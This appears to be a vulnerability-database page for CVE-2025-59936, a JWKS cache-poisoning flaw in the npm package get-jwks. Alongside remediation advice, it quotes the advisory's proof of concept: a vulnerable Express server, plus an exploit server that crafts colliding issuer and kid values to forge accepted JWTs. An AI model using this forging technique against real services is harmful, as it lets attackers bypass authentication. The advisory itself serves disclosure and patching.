Vulnerabilities in pkg:npm/get-jwks

PACKAGE
Advisory Identifier: GHSA-qc2q-qhf3-235m
Advisory Summary

CVE-2025-59936 is a CRITICAL (CVSS 9.4) poisoned jwks cache allows post-fetch vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting get-jwks libraries in the npm ecosystem. The issue involves poisoned jwks cache allows post-fetch issuer validation bypass. Remediation is available by upgrading affected packages to version 11.0.2.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/get-jwks

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/get-jwks. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-qc2q-qhf3-235m CVE-2025-59936 CRITICAL get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass

CVE-2025-59936 at a Glance

CVE Identifier CVE-2025-59936
GHSA Identifier GHSA-qc2q-qhf3-235m
Severity CRITICAL
CVSS v3.1 Base Score 9.4
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product get-jwks
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2025-59936

To remediate this vulnerability, upgrade all affected get-jwks dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

get-jwks fixed: 11.0.2
npm install get-jwks@11.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls get-jwks

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-59936, inspect your project dependencies using npm:

npm ls get-jwks

Analyze the terminal output to locate any version of get-jwks in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.0.2), your application is affected.

Note: The npm ls get-jwks command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In get-jwks, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. ### Details When the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value. The vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. ### PoC Server code: ```js const express = require('express') const buildJwks = require('get-jwks') const { createVerifier } = require('fast-jwt') const jwks = buildJwks({ providerDiscovery: true }); const keyFetcher = async (jwt) => jwks.getPublicKey({ kid: jwt.header.kid, alg: jwt.header.alg, domain: jwt.payload.iss }); const jwtVerifier = createVerifier({ key: keyFetcher, allowedIss: 'https://example.com', }); const app = express(); const port = 3000; app.use(express.json()); async function verifyToken(req, res, next) { const headerAuth = req.headers.authorization.split(' ') let token = ''; if (headerAuth.length > 1) { token = headerAuth[1]; } const payload = await jwtVerifier(token); req.decoded = payload; next(); } // Endpoint to check if you are auth or not app.get('/auth', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` Exploit server that generates the JWT pair and send the public RSA key to the victim server: ```js const { generateKeyPairSync } = require('crypto'); const express = require('express'); const pem2jwk = require('pem2jwk'); const jwt = require('jsonwebtoken'); const app = express(); const port = 3001; const host = `http://localhost:${port}`; const target_iss = `https://example.com`; const { publicKey, privateKey } = generateKeyPairSync("rsa", { modulusLength: 4096, publicKeyEncoding: { type: 'pkcs1', format: 'pem' }, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, }, ); const jwk = pem2jwk(publicKey); app.use(express.json()); // Endpoint to create cache poisoning token app.post('/create-token-1', (req, res) => { const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, { algorithm: 'RS256', header: { kid: "testkid", } }); res.send(token); }); // Endpoint to create a token with valid iss app.post('/create-token-2', (req, res) => { const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: { kid: `testkid:${host}/?`, } }); res.send(token); }); app.get('/.well-known/jwks.json', (req, res) => { return res.json({ keys: [{ ...jwk, kid: 'testkid', alg: 'RS256', use: 'sig', }] }); }) app.use((req, res) => { return res.json({ "issuer": host, "jwks_uri": host + '/.well-known/jwks.json' }); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` The first JWT token will create a cache entry with the chosen public key and have the following format: `RS256:testkid:http://localhost:3001/?:https://example.com` The second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations: `RS256:testkid:http://localhost:3001/?:https://example.com` ### Impact Applications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. ### Solution Escape each component used in the cache key, so delimiter collisions are impossible. https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

CVE-2025-59936 Affected get-jwks Versions

1 component(s)
Fixed Versions:
11.0.2
Product / Package Ecosystem Affected Versions Fixed Version
get-jwks
npm
< 11.0.2
11.0.2

References

Frequently Asked Questions

What is CVE-2025-59936?
CVE-2025-59936 is a security vulnerability in get-jwks involving poisoned JWKS cache allows post-fetch issuer validation bypass under CWE-116: Improper Encoding or Escaping of Output.
Which get-jwks versions are affected?
Affected versions include releases prior to 11.0.2 across affected packages: get-jwks.
What version fixes CVE-2025-59936?
Upgrading to 11.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is get-jwks affected?
Yes, get-jwks is affected in releases prior to 11.0.2. Upgrade your dependency to 11.0.2 or later.
What is the CVSS score of CVE-2025-59936?
CVE-2025-59936 has a CVSS v3.1 base score of 9.4 (CRITICAL) with vector string CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2025-59936?
CVE-2025-59936 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check npm dependencies for CVE-2025-59936?
Run the dependency tree command: 'npm ls get-jwks'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qc2q-qhf3-235m",
  "modified" : "2025-09-29T14:03:51Z",
  "published" : "2025-09-26T14:27:01Z",
  "aliases" : [ "CVE-2025-59936" ],
  "summary" : "get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass",
  "details" : "### Summary\nA vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. \n\n### Details\nWhen the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value.\n\nThe vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. \n\n### PoC\nServer code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =>\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://example.com',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length > 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) => {\n  res.json(req.decoded);\n});\n\napp.listen(port, () => {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nExploit server that generates the JWT pair and send the public RSA key to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}`;\nconst target_iss = `https://example.com`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\",\n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n);\nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create cache poisoning token\napp.post('/create-token-1', (req, res) => {\n  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { \n    algorithm: 'RS256', \n    header: {\n        kid: \"testkid\", \n     } });\n  res.send(token);\n});\n\n// Endpoint to create a token with valid iss\napp.post('/create-token-2', (req, res) => {\n    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {\n      kid: `testkid:${host}/?`, \n    } });\n    res.send(token);\n  });\n\napp.get('/.well-known/jwks.json', (req, res) => {\n    return res.json({\n        keys: [{\n            ...jwk,\n            kid: 'testkid',\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.use((req, res) => {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '/.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () => {\n  console.log(`Server is running on port ${port}`);\n});\n``` \n\nThe first JWT token will create a cache entry with the chosen public key and have the following format:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\nThe second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\n### Impact\nApplications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. \n\n### Solution\nEscape each component used in the cache key, so delimiter collisions are impossible.\n\nhttps://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "get-jwks"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "11.0.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 11.0.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59936"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nearform/get-jwks"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-26T14:27:01Z",
    "nvd_published_at" : "2025-09-27T01:15:43Z"
  }
}